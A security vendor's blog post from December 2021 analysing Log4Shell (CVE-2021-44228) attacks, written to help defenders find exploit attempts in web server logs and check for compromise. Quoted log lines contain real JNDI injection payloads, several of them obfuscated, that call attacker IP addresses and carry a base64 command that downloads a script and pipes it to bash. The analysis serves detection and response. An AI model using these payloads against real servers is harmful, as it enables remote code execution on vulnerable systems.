Log4J/Log4Shells Exploit Analysis (CVE-2021-44228)

by Chris Gerritz on December 22, 2021

As a follow up to our other blog post related to CVE-2021-44228, the Remote Code Execution (RCE) vulnerability affecting Apache Log4j, we wanted to go into analysis of a log4shells attack.

Who is vulnerable?

Basically, this vulnerability affects any apache web server using vulnerable versions (2.11.0 – 2.14.1) of the log4j logger. The list of products that use this is extensive. Assume if the product or service listens on HTTP/HTTPS listener, it might be using Apache.

What are the two ways to find vulnerable systems?

As the situation progresses, a number of organizations have released their own Log4j scanners. In moments like this, the cybersecurity industry comes together to fight threat actors and your organization might have hundreds of options to choose from. Ultimately, these scanners come in two categories: local and remote scanners.

Local Scanners – The scanner works on the webserver host itself by scanning the system for vulnerable .jar files and embedded Log4j modules. It also searches log files for indicators of exploit attempts (this is the best way to find exploit attempts).
Remote Scanners – Scanners that work remotely attempt to actually exploit the system and force the server to perform a benign callback or heartbeat. The tester points it at the web server IP addresses, and then learns if any of the tool’s exploit attempts were successful.

Most scanners operate remotely. Infocyte’s extension operates locally, meaning we detect if there are threat actors who have tried to take advantage of Log4j vulnerability on your system.

We recommend using one of each as they have different advantages.

Sponsorships Available

What version of Log4j am I running?

Due to how many implementations there are of Log4j embedded in various products, it’s not always trivial to find the version of the Log4j extension. The easiest way is to look at the file or folder name of the .jar file found with the JndiLookup.class but this isn’t always present. Some products require specific vendor instructions.

The easiest way is to review the folder/file name of the jar file. It will look something like this:

C:\Program Files\Elastic\Elasticsearch\lib\log4j-core-2.11.1.jar

The above path makes it easy to tell this is running the vulnerable version 2.11.1 of log4j

On the other hand, log4j’s and it’s JndiLookup.class can be embedded in another unrelated jar file and we’d print out:

C:\Program Files\MyCustomWebService\server\server-1.6.0-all.jar

In this case it requires reviewing vendor information for the custom service or product to see if the 1.6.0 of their product includes a vulnerable version of Log4j or your web developer’s might be able to grep the jar file for version references.

What does an exploit look like in the logs?

When we scan apache logs, we are looking for obfuscated variations of ${jndi:ldap://webaddress}, ${jndi:rmi ://webaddress} or ${ jndi:dns ://webaddress} . These are the magic strings that cause the logger to execute the code hosted at the web address referenced. When you see these, you’ll see variations that look like this:

C:\inetpub\logs\LogFiles\W3SVC1\u_ex211218.log:112:2021-12-18 11:02:57 XX.XX.1.89 GET / - 443 - XXX.XXX.199.233 
${jndi:ldap://31.131.16.127:1389/Exploit} - 200 0 64 248

C:\inetpub\logs\LogFiles\W3SVC1\u_ex211216.log:53:2021-12-16 04:45:28 10.10.1.89 GET / x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82NC4yMzMuMTQ2LjIwNTo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNjQuMjMzLjE0Ni4yMDU6NDQzKXxiYXNo} 443 - 195.54.160.149

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82NC4yMzMuMTQ2LjIwNTo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNjQuMjMzLjE0Ni4yMDU6NDQzKXxiYXNo}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC82NC4yMzMuMTQ2LjIwNTo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNjQuMjMzLjE0Ni4yMDU6NDQzKXxiYXNo} 200 0 0 145

Looking at the first entry we see an ldap callback to 31.131.16[.]127:1389/Exploit — the address resolves to Ukraine.

The next 3 use a different technique useful in java where it executes a base64 encoded command. Decoding the base64 using something like Cyberchef comes up with a linux command that is being executed:

This curl or wget command (tries both as some systems have one or the other) brings down a bash script and pipes it into bash for execution. Try the commands yourself without the pipe (This symbol: | ) to bash on the end to bring down what script they tried to execute.

Is it malicious or a security researcher?

Security Vendors are also scanning. As an example, Kryptos Logic’s internet-wide scan exploits the system temporarily for a quick heartbeat. Those logs looks like this:

C:\inetpub\logs\LogFiles\W3SVC1\u_ex211211.log:283:2021-12-11 HH:MM:SS xxx.xxx.1.89 GET / - 443 - xxx.xxx.216.21
${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent} - 200 0 0 47

Google the URL to see if they show up in any reports and geolocate the IPs. You can see here the logger in this server puts the 200 OK meaning the connection was successful.

Almost every web server, vulnerable or not, we’ve seen has signs of research scanners and exploit attempts. One way to get these out of your logs is to filter them like this guy:
https://jay.gooby.org/2021/12/13/a-fail2ban-filter-for-the-log4j-cve-2021-44228

What if I have problematic exploit attempts in my logs?

Given the sheer amount of internet-wide exploitation happening against any and all web servers (vulnerable or not), it’s important to know next steps to verify malicious compromise:

IMPORTANT: Exploit attempts in the logs do NOT equal compromise in all cases.

Some good first step for verification of compromise:

Determine if the web server in question even has a vulnerable version of Log4j. Your nginx servers are getting attempt logs too so these would be benign.
Determine if the connection to the url was successful (200 OK).
Check the command (like if it’s a base64 command) actually would work on your system. We’ve seen bash scripts trying to exploit windows systems… usually won’t work unless they have Windows Subsystem for Linux (WSL) turned on.
Scan the webserver for generic webshells (use our yara scanner extension).
If you have Infocyte or another behavior-based EDR on the web server, monitor for suspicious curl, wget, or related commands. Likely the code they try to run first following exploitation has the system reaching out to the command and control server using built-in utilities like this.

Infocyte Log4J Scanner Extension

Infocyte has published a Log4J scanner that scans log files for signs of exploit attempts. Run it on servers to identify evidence of exploitation or compromise. Note: This scanner is under continuing development so check back daily this week for any updates as the community learns more.

Please don’t hesitate to reach out to our team of experts for help.

Good Hunting!

Not an Infocyte customer yet? No problem.

Our free Community Edition users have access to the Log4j scanner extension, too. Just sign up below to get started – deployment only takes a few minutes.